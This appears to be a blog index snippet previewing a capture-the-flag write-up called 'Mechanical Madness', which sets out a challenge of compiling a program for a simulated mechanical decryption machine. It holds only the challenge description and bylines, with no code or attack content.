December 2, 2021 · 4 min · rgw

Mechanical Madness

We have intercepted an encrypted message with critical information, and also managed to recover the machine that is able to decrypt it, with a copy of the source program it should run to decrypt the message. The crazy scientist that built this machine was accidentally killed during the extraction. It’s a very elaborate mechanical machine with tons of pipes and valves but we managed to reverse-engineer its logic and build a simulation out of it, but now we need to convert the source of the program into something that the machine is able to understand and execute! The encrypted message is already loaded into the simulation. ...

December 2, 2021 · 6 min · rgw, nh1729